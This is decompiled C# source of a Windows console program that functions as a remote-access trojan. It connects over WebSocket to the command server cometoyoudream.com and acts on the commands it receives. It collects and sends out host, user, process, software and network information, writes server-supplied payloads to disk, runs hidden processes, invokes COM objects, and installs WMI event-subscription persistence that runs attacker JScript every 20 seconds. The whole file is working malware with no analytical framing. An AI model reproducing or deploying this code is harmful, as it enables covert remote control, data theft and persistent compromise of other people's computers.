// starter_1b871444-290a-4373-8c18-53973c35260d, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// ConsoleApp2.Program
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Pipes;
using System.Linq;
using System.Management;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Threading.Tasks;
using ConsoleApp2;
using Microsoft.Win32;

public class Program
{
	private struct BIND_OPTS3
	{
		public int cbStruct;

		public int grfFlags;

		public int grfMode;

		public int dwTickCountDeadline;

		public int dwTrackFlags;

		public int dwClassContext;

		public int locale;

		public IntPtr pServerInfo;

		public IntPtr hwnd;
	}

	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
	private delegate long Proc0(IntPtr pThis);

	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
	private delegate long Proc1(IntPtr pThis, IntPtr arg1);

	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
	private delegate long Proc2(IntPtr pThis, IntPtr arg1, IntPtr arg2);

	[UnmanagedFunctionPointer(CallingConvention.ThisCall)]
	private delegate long Proc3(IntPtr pThis, IntPtr arg1, IntPtr arg2, IntPtr arg3);

	[CompilerGenerated]
	private sealed class _003CHandleUpdate_003Ec__AnonStorey6
	{
		[StructLayout(LayoutKind.Auto)]
		private struct _003CHandleUpdate_003Ec__async5 : IAsyncStateMachine
		{
			internal object _003Cobj_003E__0;

			internal _003CHandleUpdate_003Ec__AnonStorey6 _003C_003Ef__ref_00246;

			internal AsyncTaskMethodBuilder _0024builder;

			internal int _0024PC;

			private TaskAwaiter _0024awaiter0;

			public void MoveNext()
			{
				uint num = (uint)_0024PC;
				_0024PC = -1;
				try
				{
					switch (num)
					{
					default:
						return;
					case 0u:
						_0024awaiter0 = Task.Delay(10).GetAwaiter();
						if (!_0024awaiter0.IsCompleted)
						{
							_0024PC = 1;
							_0024builder.AwaitUnsafeOnCompleted(ref _0024awaiter0, ref this);
							return;
						}
						break;
					case 1u:
						break;
					}
					_0024awaiter0.GetResult();
					ws.Send("precall##" + _003C_003Ef__ref_00246.clbid + "##ok");
					_003Cobj_003E__0 = Invoke(_003C_003Ef__ref_00246.param[1], _003C_003Ef__ref_00246.param[2], int.Parse(_003C_003Ef__ref_00246.param[3]), _003C_003Ef__ref_00246.objs.Skip(4).ToArray());
					ws.Send("call##" + _003C_003Ef__ref_00246.clbid + "##" + _003Cobj_003E__0.ToString());
				}
				catch (Exception exception)
				{
					_0024PC = -1;
					_0024builder.SetException(exception);
					return;
				}
				_0024PC = -1;
				_0024builder.SetResult();
			}

			[DebuggerHidden]
			public void SetStateMachine(IAsyncStateMachine stateMachine)
			{
				_0024builder.SetStateMachine(stateMachine);
			}
		}

		internal string clbid;

		internal string[] param;

		internal object[] objs;

		[AsyncStateMachine(typeof(_003CHandleUpdate_003Ec__async5))]
		internal Task _003C_003Em__0()
		{
			_003CHandleUpdate_003Ec__async5 stateMachine = default(_003CHandleUpdate_003Ec__async5);
			stateMachine._003C_003Ef__ref_00246 = this;
			stateMachine._0024builder = AsyncTaskMethodBuilder.Create();
			ref AsyncTaskMethodBuilder reference = ref stateMachine._0024builder;
			reference.Start(ref stateMachine);
			return reference.Task;
		}
	}

	private static WsClient ws;

	private static bool IsRunningAsAdministrator()
	{
		WindowsIdentity current = WindowsIdentity.GetCurrent();
		WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
		return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
	}

	[DllImport("ole32.dll", CharSet = CharSet.Unicode)]
	private static extern int CoGetObject(string pszName, ref BIND_OPTS3 pBindOptions, ref Guid riid, out IntPtr ppv);

	[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	private static extern bool WaitNamedPipe(string lpNamedPipeName, uint nTimeOut);

	private static Stream OpenOutput(string path)
	{
		if (path.StartsWith("\\\\.\\pipe\\", StringComparison.OrdinalIgnoreCase))
		{
			string pipeName = path.Substring("\\\\.\\pipe\\".Length);
			NamedPipeClientStream namedPipeClientStream = new NamedPipeClientStream(".", pipeName, PipeDirection.Out);
			namedPipeClientStream.Connect();
			return namedPipeClientStream;
		}
		Directory.CreateDirectory(Path.GetDirectoryName(path));
		return new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.None);
	}

	private static void HandleUpdate(string line)
	{
		_003CHandleUpdate_003Ec__AnonStorey6 CS_0024_003C_003E8__locals36 = new _003CHandleUpdate_003Ec__AnonStorey6();
		CS_0024_003C_003E8__locals36.clbid = line.Substring(0, line.IndexOf("##"));
		line = line.Substring(CS_0024_003C_003E8__locals36.clbid.Length + 2);
		CS_0024_003C_003E8__locals36.param = line.Split(new string[1] { "##" }, StringSplitOptions.None);
		CS_0024_003C_003E8__locals36.objs = new object[CS_0024_003C_003E8__locals36.param.Length];
		for (int i = 0; i < CS_0024_003C_003E8__locals36.param.Length; i++)
		{
			if (CS_0024_003C_003E8__locals36.param[i].Equals(string.Empty))
			{
				CS_0024_003C_003E8__locals36.objs[i] = null;
			}
			else if (CS_0024_003C_003E8__locals36.param[i].Equals("*"))
			{
				CS_0024_003C_003E8__locals36.objs[i] = IntPtr.Zero;
			}
			else
			{
				CS_0024_003C_003E8__locals36.objs[i] = CS_0024_003C_003E8__locals36.param[i];
			}
		}
		try
		{
			if (CS_0024_003C_003E8__locals36.param[0].Equals("call"))
			{
				Task.Run([AsyncStateMachine(typeof(_003CHandleUpdate_003Ec__AnonStorey6._003CHandleUpdate_003Ec__async5))] () =>
				{
					_003CHandleUpdate_003Ec__AnonStorey6._003CHandleUpdate_003Ec__async5 stateMachine = default(_003CHandleUpdate_003Ec__AnonStorey6._003CHandleUpdate_003Ec__async5);
					stateMachine._003C_003Ef__ref_00246 = CS_0024_003C_003E8__locals36;
					stateMachine._0024builder = AsyncTaskMethodBuilder.Create();
					ref AsyncTaskMethodBuilder reference = ref stateMachine._0024builder;
					reference.Start(ref stateMachine);
					return reference.Task;
				});
			}
			else if (CS_0024_003C_003E8__locals36.param[0].Equals("download"))
			{
				string path = CS_0024_003C_003E8__locals36.param[1];
				byte[] array = Convert.FromBase64String(CS_0024_003C_003E8__locals36.param[2]);
				using (Stream stream = OpenOutput(path))
				{
					stream.Write(array, 0, array.Length);
					stream.Flush();
				}
				ws.Send("download##" + CS_0024_003C_003E8__locals36.clbid + "##ok");
			}
			else if (CS_0024_003C_003E8__locals36.param[0].Equals("check"))
			{
				string text = CS_0024_003C_003E8__locals36.param[1];
				string text2 = string.Empty;
				if (text[0] != '\\')
				{
					if (File.Exists(text))
					{
						using SHA256 sHA = SHA256.Create();
						using FileStream inputStream = File.OpenRead(text);
						byte[] array2 = sHA.ComputeHash(inputStream);
						text2 = BitConverter.ToString(array2).Replace("-", string.Empty);
					}
					else
					{
						text2 = "false";
					}
				}
				else
				{
					text2 = WaitNamedPipe(text, uint.Parse(CS_0024_003C_003E8__locals36.param[2])).ToString();
				}
				ws.Send("check##" + CS_0024_003C_003E8__locals36.clbid + "##" + text2);
			}
			else if (CS_0024_003C_003E8__locals36.param[0].Equals("subscr"))
			{
				Start(CS_0024_003C_003E8__locals36.param[1], CS_0024_003C_003E8__locals36.param[2]);
				ws.Send("subscr##" + CS_0024_003C_003E8__locals36.clbid + "##ok");
			}
			else if (CS_0024_003C_003E8__locals36.param[0].Equals("info"))
			{
				ws.Send("info##" + CS_0024_003C_003E8__locals36.clbid + "##" + GetSysInfo());
			}
			else if (CS_0024_003C_003E8__locals36.param[0].Equals("launch"))
			{
				string text3 = launch(CS_0024_003C_003E8__locals36.param[1], CS_0024_003C_003E8__locals36.param[2], CS_0024_003C_003E8__locals36.param[3], CS_0024_003C_003E8__locals36.param[4].Equals("true"));
				ws.Send("launch##" + CS_0024_003C_003E8__locals36.clbid + "##" + text3);
			}
		}
		catch (Exception ex)
		{
			ws.Send("error##" + CS_0024_003C_003E8__locals36.clbid + "##" + CS_0024_003C_003E8__locals36.param[0] + "##" + ex.ToString());
		}
	}

	private static string launch(string filename, string arg, string input, bool capOut)
	{
		bool flag = input != null && !input.Equals(string.Empty);
		ProcessStartInfo processStartInfo = new ProcessStartInfo();
		processStartInfo.FileName = filename;
		processStartInfo.Arguments = arg;
		processStartInfo.RedirectStandardInput = flag;
		processStartInfo.RedirectStandardOutput = capOut;
		processStartInfo.RedirectStandardError = capOut;
		processStartInfo.UseShellExecute = false;
		processStartInfo.CreateNoWindow = true;
		ProcessStartInfo startInfo = processStartInfo;
		using Process process = new Process();
		process.StartInfo = startInfo;
		process.Start();
		if (flag)
		{
			using StreamWriter streamWriter = process.StandardInput;
			if (streamWriter.BaseStream.CanWrite)
			{
				string[] array = input.Split(new char[1] { '\n' }, StringSplitOptions.None);
				string[] array2 = array;
				foreach (string value in array2)
				{
					streamWriter.WriteLine(value);
				}
			}
		}
		if (!process.WaitForExit(5000))
		{
			return "-1####";
		}
		string text = string.Empty;
		string text2 = string.Empty;
		if (capOut)
		{
			text = process.StandardOutput.ReadToEnd();
			text2 = process.StandardError.ReadToEnd();
		}
		return process.ExitCode + "##" + text + "##" + text2;
	}

	private static void MsgCallback(string msg)
	{
		HandleUpdate(msg);
	}

	private static string GetSysInfo()
	{
		Process currentProcess = Process.GetCurrentProcess();
		string osInfo = GetOsInfo();
		string csInfo = GetCsInfo();
		string biosInfo = GetBiosInfo();
		string usersInfo = GetUsersInfo();
		string networkAdaptersInfo = GetNetworkAdaptersInfo();
		string process = GetProcess();
		string services = GetServices();
		string apps = GetApps();
		string hotFixesInfo = GetHotFixesInfo();
		return "{" + string.Format("\"fn\": \"{0}\", ", currentProcess.MainModule.FileName.Replace("\\", "\\\\")) + string.Format("\"pn\": \"{0}\", ", currentProcess.ProcessName.Replace("\\", "\\\\")) + $"\"ia\": {IsRunningAsAdministrator().ToString().ToLower()}, " + string.Format("\"cd\": \"{0}\", ", Environment.CurrentDirectory.Replace("\\", "\\\\")) + $"\"al\": {apps}," + $"\"hf\": {hotFixesInfo}," + $"\"pl\": {process}," + $"\"sl\": {services}," + $"\"Os\": {osInfo}," + $"\"Cs\": {csInfo}," + $"\"Bios\": {biosInfo}," + $"\"Users\": {usersInfo}," + $"\"Nets\": {networkAdaptersInfo}" + "}";
	}

	private static void Start(string nm, string text)
	{
		ManagementScope managementScope = new ManagementScope(nm);
		managementScope.Connect();
		ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("__IntervalTimerInstruction"), null);
		ManagementObject managementObject = managementClass.CreateInstance();
		managementObject["TimerId"] = "NetworkPing";
		managementObject["IntervalBetweenEvents"] = 20000;
		managementObject.Put();
		ManagementClass managementClass2 = new ManagementClass(managementScope, new ManagementPath("__EventFilter"), null);
		ManagementObject managementObject2 = managementClass2.CreateInstance();
		managementObject2["Name"] = "NetFilter";
		managementObject2["QueryLanguage"] = "WQL";
		managementObject2["Query"] = "SELECT * FROM __TimerEvent WHERE TimerId = 'NetworkPing'";
		managementObject2.Put();
		ManagementClass managementClass3 = new ManagementClass(managementScope, new ManagementPath("ActiveScriptEventConsumer"), null);
		ManagementObject managementObject3 = managementClass3.CreateInstance();
		managementObject3["Name"] = "NetCon";
		managementObject3["ScriptingEngine"] = "JScript";
		managementObject3["KillTimeout"] = 30;
		managementObject3["ScriptText"] = text;
		managementObject3.Put();
		ManagementClass managementClass4 = new ManagementClass(managementScope, new ManagementPath("__FilterToConsumerBinding"), null);
		ManagementObject managementObject4 = managementClass4.CreateInstance();
		managementObject4["Filter"] = managementObject2.Path.RelativePath;
		managementObject4["Consumer"] = managementObject3.Path.RelativePath;
		managementObject4.Put();
	}

	public static void Main(string[] args)
	{
		ws = new WsClient();
		ws.OnMessage = MsgCallback;
		ws.Connect("wss://cometoyoudream.com/signup?token=1b871444-290a-4373-8c18-53973c35260d");
		ws.RunLoop();
	}

	private static Delegate CreateDelegateByArgs(IntPtr pInterface, int methodIndex, int argCount)
	{
		IntPtr ptr = Marshal.ReadIntPtr(pInterface);
		IntPtr ptr2 = Marshal.ReadIntPtr(ptr, methodIndex * IntPtr.Size);
		return argCount switch
		{
			0 => Marshal.GetDelegateForFunctionPointer<Proc0>(ptr2), 
			1 => Marshal.GetDelegateForFunctionPointer<Proc1>(ptr2), 
			2 => Marshal.GetDelegateForFunctionPointer<Proc2>(ptr2), 
			3 => Marshal.GetDelegateForFunctionPointer<Proc3>(ptr2), 
			_ => throw new NotSupportedException("3"), 
		};
	}

	private static object Invoke(string clsid, string iids, int idx, object[] args)
	{
		BIND_OPTS3 pBindOptions = default(BIND_OPTS3);
		pBindOptions.cbStruct = Marshal.SizeOf<BIND_OPTS3>();
		pBindOptions.dwClassContext = 4;
		pBindOptions.hwnd = IntPtr.Zero;
		pBindOptions.locale = 0;
		Guid riid = new Guid("00000000-0000-0000-C000-000000000046");
		IntPtr ppv;
		int num = CoGetObject(clsid, ref pBindOptions, ref riid, out ppv);
		if (num < 0)
		{
			return num | 0x1000000;
		}
		Guid iid = new Guid(iids);
		IntPtr ppv2 = IntPtr.Zero;
		Marshal.QueryInterface(ppv, ref iid, out ppv2);
		Delegate @delegate = CreateDelegateByArgs(ppv2, idx, args.Length);
		object[] array = new object[args.Length + 1];
		array[0] = ppv2;
		for (int i = 0; i < args.Length; i++)
		{
			if (args[i] == null)
			{
				array[i + 1] = IntPtr.Zero;
			}
			else if (args[i] is string)
			{
				array[i + 1] = Marshal.StringToBSTR((string)args[i]);
			}
			else if (args[i] is IntPtr)
			{
				array[i + 1] = Marshal.AllocHGlobal(4);
			}
			else
			{
				array[i + 1] = args[i];
			}
		}
		return @delegate.DynamicInvoke(array);
	}

	private static string repr(object val, CimType type)
	{
		string empty = string.Empty;
		if (val == null)
		{
			return empty + "null";
		}
		switch (type)
		{
		case CimType.DateTime:
		{
			string text = empty;
			DateTimeOffset dateTimeOffset = new DateTimeOffset(ManagementDateTimeConverter.ToDateTime((string)val).ToUniversalTime());
			return text + $"{dateTimeOffset.ToUnixTimeMilliseconds()}";
		}
		case CimType.String:
			return empty + string.Format("\"{0}\"", val.ToString().Replace("\\", "\\\\").Replace("\"", "\\\""));
		case CimType.Boolean:
			return empty + $"{val.ToString().ToLower()}";
		default:
			return empty + $"{val}";
		}
	}

	private static string arr2json(Array arg, CimType type)
	{
		if (arg == null)
		{
			return "null";
		}
		string text = "[";
		for (int i = 0; i < arg.Length; i++)
		{
			object value = arg.GetValue(i);
			text += $"{repr(value, type)}, ";
		}
		return ((text.Length <= 1) ? text : text.Substring(0, text.Length - 2)) + "]";
	}

	private static string mo2json(ManagementObject mo)
	{
		string text = "{";
		PropertyDataCollection.PropertyDataEnumerator enumerator = mo.Properties.GetEnumerator();
		while (enumerator.MoveNext())
		{
			PropertyData current = enumerator.Current;
			object obj = current.Value;
			if (obj != null && current.IsArray)
			{
				obj = arr2json((Array)current.Value, current.Type);
			}
			if (obj == null && current.IsArray)
			{
				obj = "null";
			}
			text = ((!current.IsArray) ? (text + $"\"{current.Name}\": {repr(obj, current.Type)}, ") : (text + $"\"{current.Name}\": {obj}, "));
		}
		return text.Substring(0, text.Length - 2) + "}";
	}

	private static string GetOsInfo()
	{
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");
		string text = string.Empty;
		foreach (ManagementObject item in managementObjectSearcher.Get())
		{
			text = text + mo2json(item) + ", ";
		}
		managementObjectSearcher.Dispose();
		return text.Substring(0, text.Length - 2);
	}

	private static string GetUsersInfo()
	{
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_UserAccount WHERE Status='OK'");
		string text = "[";
		foreach (ManagementObject item in managementObjectSearcher.Get())
		{
			text = text + mo2json(item) + ", ";
		}
		managementObjectSearcher.Dispose();
		if (text.Length == 1)
		{
			return "[]";
		}
		return text.Substring(0, text.Length - 2) + "]";
	}

	private static string GetHotFixesInfo()
	{
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT HotFixID FROM Win32_QuickFixEngineering");
		string text = "[";
		foreach (ManagementObject item in managementObjectSearcher.Get())
		{
			text = text + repr(item["HotFixID"], CimType.String) + ", ";
		}
		managementObjectSearcher.Dispose();
		if (text.Length == 1)
		{
			return "[]";
		}
		return text.Substring(0, text.Length - 2) + "]";
	}

	private static string GetCsInfo()
	{
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_ComputerSystem");
		string text = string.Empty;
		foreach (ManagementObject item in managementObjectSearcher.Get())
		{
			text = text + mo2json(item) + ", ";
		}
		managementObjectSearcher.Dispose();
		return text.Substring(0, text.Length - 2);
	}

	private static string GetBiosInfo()
	{
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_BIOS");
		string text = string.Empty;
		foreach (ManagementObject item in managementObjectSearcher.Get())
		{
			text = text + mo2json(item) + ", ";
		}
		managementObjectSearcher.Dispose();
		return text.Substring(0, text.Length - 2);
	}

	private static string GetNetworkAdaptersInfo()
	{
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true");
		string text = "[";
		foreach (ManagementObject item in managementObjectSearcher.Get())
		{
			text = text + mo2json(item) + ", ";
		}
		managementObjectSearcher.Dispose();
		if (text.Length == 1)
		{
			return "[]";
		}
		return text.Substring(0, text.Length - 2) + "]";
	}

	private static string GetProcess()
	{
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT ExecutablePath, ProcessId, SessionId FROM Win32_Process");
		string text = "[";
		foreach (ManagementObject item in managementObjectSearcher.Get())
		{
			text = text + mo2json(item) + ", ";
		}
		managementObjectSearcher.Dispose();
		if (text.Length == 1)
		{
			return "[]";
		}
		return text.Substring(0, text.Length - 2) + "]";
	}

	private static string GetServices()
	{
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT Name, State FROM Win32_Service");
		string text = "[";
		foreach (ManagementObject item in managementObjectSearcher.Get())
		{
			text = text + repr(item["Name"], CimType.String) + ", ";
		}
		managementObjectSearcher.Dispose();
		if (text.Length == 1)
		{
			return "[]";
		}
		return text.Substring(0, text.Length - 2) + "]";
	}

	private static string GetApps()
	{
		string[] array = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" };
		string text = "[";
		string[] array2 = array;
		foreach (string name in array2)
		{
			using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name);
			if (registryKey == null)
			{
				continue;
			}
			string[] subKeyNames = registryKey.GetSubKeyNames();
			foreach (string name2 in subKeyNames)
			{
				using RegistryKey registryKey2 = registryKey.OpenSubKey(name2);
				string text2 = registryKey2?.GetValue("DisplayName") as string;
				if (!string.IsNullOrEmpty(text2))
				{
					text += $"{repr(text2, CimType.String)}, ";
				}
			}
		}
		if (text.Length == 1)
		{
			return "[]";
		}
		return text.Substring(0, text.Length - 2) + "]";
	}
}

// starter_1b871444-290a-4373-8c18-53973c35260d, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// ConsoleApp2.WsClient
using System;
using System.IO;
using System.Net.WebSockets;
using System.Text;
using System.Threading;

internal class WsClient
{
	private ClientWebSocket _ws;

	public Action<string> OnMessage;

	public void Connect(string url)
	{
		_ws = new ClientWebSocket();
		_ws.ConnectAsync(new Uri(url), CancellationToken.None).GetAwaiter().GetResult();
	}

	public void RunLoop()
	{
		while (_ws.State == WebSocketState.Open)
		{
			string text = ReceiveMessage();
			if (text != null && OnMessage != null)
			{
				OnMessage(text);
			}
		}
	}

	private string ReceiveMessage()
	{
		MemoryStream memoryStream = new MemoryStream();
		byte[] array = new byte[4096];
		WebSocketReceiveResult result;
		do
		{
			result = _ws.ReceiveAsync(new ArraySegment<byte>(array), CancellationToken.None).GetAwaiter().GetResult();
			if (result.MessageType == WebSocketMessageType.Close)
			{
				_ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "bye", CancellationToken.None).GetAwaiter().GetResult();
				return null;
			}
			memoryStream.Write(array, 0, result.Count);
		}
		while (!result.EndOfMessage);
		return Encoding.UTF8.GetString(memoryStream.ToArray());
	}

	public void Send(string msg)
	{
		if (_ws.State == WebSocketState.Open)
		{
			byte[] bytes = Encoding.UTF8.GetBytes(msg);
			_ws.SendAsync(new ArraySegment<byte>(bytes), WebSocketMessageType.Text, endOfMessage: true, CancellationToken.None).GetAwaiter().GetResult();
		}
	}

	public void Close()
	{
		if (_ws.State == WebSocketState.Open)
		{
			_ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "bye", CancellationToken.None).GetAwaiter().GetResult();
		}
	}
}